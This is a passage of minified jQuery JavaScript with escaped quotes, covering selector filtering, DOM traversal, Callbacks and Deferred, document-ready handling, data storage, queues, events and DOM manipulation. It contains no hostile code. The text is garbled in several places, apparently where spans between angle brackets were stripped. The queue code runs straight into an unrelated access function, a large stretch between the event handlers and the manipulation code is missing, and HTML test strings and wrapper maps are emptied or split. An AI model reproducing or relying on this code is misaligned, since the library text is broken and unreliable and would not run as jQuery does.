e;a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type])break;if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a)return G.apply(e,f),e;break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split(\"\").sort(z).join(\"\")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement(\"div\"))}),gb(function(a){return a.innerHTML=\"\",\"#\"===a.firstChild.getAttribute(\"href\")})||hb(\"type|href|height|width\",function(a,b,c){return c?void 0:a.getAttribute(b,\"type\"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML=\"\",a.firstChild.setAttribute(\"value\",\"\"),\"\"===a.firstChild.getAttribute(\"value\")})||hb(\"value\",function(a,b,c){return c||\"input\"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute(\"disabled\")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[\":\"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,w=/^.[^:#\\[\\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(\"string\"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=\":not(\"+a+\")\"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if(\"string\"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+\" \"+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,\"string\"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a)return this;if(\"string\"==typeof a){if(c=\"<\"===a.charAt(0)&&\">\"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return y.find(a);this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?\"undefined\"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||\"string\"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?\"string\"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return n.dir(a,\"parentNode\",c)},next:function(a){return E(a,\"nextSibling\")},prev:function(a){return E(a,\"previousSibling\")},nextAll:function(a){return n.dir(a,\"nextSibling\")},prevAll:function(a){return n.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return n.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return n.dir(a,\"previousSibling\",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return\"Until\"!==a.slice(-5)&&(d=c),d&&\"string\"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=\"string\"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);\"function\"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&\"string\"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},n.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",n.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",n.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",n.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+\"With\"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+\"With\"](this===e?d:this,arguments),this},e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body)return setTimeout(n.ready);n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger(\"ready\").off(\"ready\"))}}});function J(){z.addEventListener?(z.removeEventListener(\"DOMContentLoaded\",K,!1),a.removeEventListener(\"load\",K,!1)):(z.detachEvent(\"onreadystatechange\",K),a.detachEvent(\"onload\",K))}function K(){(z.addEventListener||\"load\"===event.type||\"complete\"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),\"complete\"===z.readyState)setTimeout(n.ready);else if(z.addEventListener)z.addEventListener(\"DOMContentLoaded\",K,!1),a.addEventListener(\"load\",K,!1);else{z.attachEvent(\"onreadystatechange\",K),a.attachEvent(\"onload\",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll(\"left\")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}return I.promise(b)};var L=\"undefined\",M;for(M in n(l))break;l.ownLast=\"0\"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName(\"body\")[0];c&&(a=z.createElement(\"div\"),a.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",b=z.createElement(\"div\"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText=\"border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1\",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement(\"div\");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+\" \").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute(\"classid\")===b};var N=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d=\"data-\"+b.replace(O,\"-$1\").toLowerCase();if(c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c?!0:\"false\"===c?!1:\"null\"===c?null:+c+\"\"===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0}return c}function Q(a){var b;for(b in a)if((\"data\"!==b||!n.isEmptyObject(a[b]))&&\"toJSON\"!==b)return!1;return!0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||\"string\"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),(\"object\"==typeof b||\"function\"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),\"string\"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(\" \")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{\"applet \":!0,\"embed \":!0,\"object \":\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,\"parsedAttrs\"))){c=g.length;while(c--)d=g[c].name,0===d.indexOf(\"data-\")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]));n._data(f,\"parsedAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||\"fx\")+\"queue\",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||\"fx\";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks(\"once memory\").add(function(){n._removeData(a,b+\"queue\"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.lengthh;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement(\"div\"),c=z.createElement(\"input\");if(b.setAttribute(\"className\",\"t\"),b.innerHTML=\"
a\",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName(\"tbody\").length,l.htmlSerialize=!!b.getElementsByTagName(\"link\").length,l.html5Clone=\"<:nav>\"!==z.createElement(\"nav\").cloneNode(!0).outerHTML,c.type=\"checkbox\",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML=\"\",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML=\"\",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent(\"onclick\",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement(\"div\");for(b in{submit:!0,change:!0,focusin:!0})c=\"on\"+b,(l[b+\"Bubbles\"]=c in a)||(d.setAttribute(c,\"t\"),l[b+\"Bubbles\"]=d.attributes[c].expando===!1);d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\\.(.+)|)$/;function bb(){return!0}function cb(){return!1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||\"\").match(F)||[\"\"],h=b.length;while(h--)f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||\"\").split(\".\").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(\".\")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent(\"on\"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||\"\").match(F)||[\"\"],j=b.length;while(j--)if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp(\"(^|\\\\.)\"+p.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&(\"**\"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,\"events\"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,\"type\")?b.type:b,q=j.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(\".\")>=0&&(q=p.split(\".\"),p=q.shift(),q.sort()),g=p.indexOf(\":\")<0&&\"on\"+p,b=b[n.expando]?b:new n.Event(p,\"object\"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join(\".\"),b.namespace_re=b.namespace?new RegExp(\"(^|\\\\.)\"+q.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped())b.type=m>1?i:k.bindType||p,f=(n._data(h,\"events\")||{})[b.type]&&n._data(h,\"handle\"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,\"events\")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||\"click\"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||\"click\"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+\" \",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h]\",\"i\"),ib=/^\\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,kb=/<([\\w:]+)/,lb=/\\s*$/g,sb={option:[1,\"\"],legend:[1,\"
\",\"
\"],area:[1,\"\",\"\"],param:[1,\"\",\"\"],thead:[1,\"\",\"
\"],tr:[2,\"\",\"
\"],col:[2,\"\",\"
\"],td:[3,\"\",\"
\"],_default:l.htmlSerialize?[0,\"\",\"\"]:[1,\"X
\",\"
\"]},tb=eb(z),ub=tb.appendChild(z.createElement(\"div\"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||\"*\"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||\"*\"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,\"table\")&&n.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function yb(a){return a.type=(null!==n.find.attr(a,\"type\"))+\"/\"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,\"globalEval\",!b||n._data(b[d],\"globalEval\"))}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}\"script\"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):\"object\"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):\"input\"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):\"option\"===c?b.defaultSelected=b.selected=a.defaultSelected:(\"input\"===c||\"textarea\"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test(\"<\"+a.nodeName+\">\")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g)d[g]&&Cb(e,d[g]);if(b)if(c)for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++)Bb(e,d[g]);else Bb(a,f);return d=vb(f,\"script\"),d.length>0&&Ab(d,!i&&vb(a,\"script\")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++)if(f=a[q],f||0===f)if(\"object\"===n.type(f))n.merge(p,f.nodeType?[f]:f);else if(mb.test(f)){h=h||o.appendChild(b.createElement(\"div\")),i=(kb.exec(f)||[\"\",\"\"])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,\"<$1>\")+k[2],e=k[0];while(e--)h=h.lastChild;if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f=\"table\"!==i||lb.test(f)?\"\"!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)n.nodeName(j=f.childNodes[e],\"tbody\")&&!j.childNodes.length&&f.removeChild(j)}n.merge(p,h.childNodes),h.textContent=\"\";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,\"input\"),wb),q=0;while(f=p[q++])if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),\"script\"),g&&Ab(h),c)){e=0;while(f=h[e++])pb.test(f.type||\"\")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++)if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,\"script\")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,\"select\")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(gb,\"\"):void 0;if(!(\"string\"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||[\"\",\"\"])[1].toLowerCase()])){a=a.replace(jb,\"<$1>\");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&\"string\"==typeof p&&!l.checkClone&&ob.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,\"script\"),yb),f=g.length;k>j;j++)d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,\"script\"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++)d=g[j],pb.test(d.type||\"\")&&!n._data(d,\"globalEval\")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||\"\").replace(rb,\"\")));i=c=null}return 